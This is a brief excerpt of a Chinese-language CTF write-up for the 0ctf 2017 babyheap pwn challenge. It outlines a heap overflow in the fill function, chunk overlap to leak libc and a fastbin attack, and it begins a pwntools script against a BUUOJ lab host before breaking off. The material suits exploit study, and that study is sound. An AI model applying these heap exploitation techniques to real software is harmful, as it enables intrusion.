【pwn】 0ctf_2017_babyheap

例行檢查 保護全開。 分析程序。在fill函數中存在溢出，通overlap，泄露libc。而後fastbin attack。node from pwn import * io=remote('node3.buuoj.cn',27627) libc=ELF('./libc-2.23.so') def add(size): io.recvuntil('Command: ') io.

>>阅读原文<<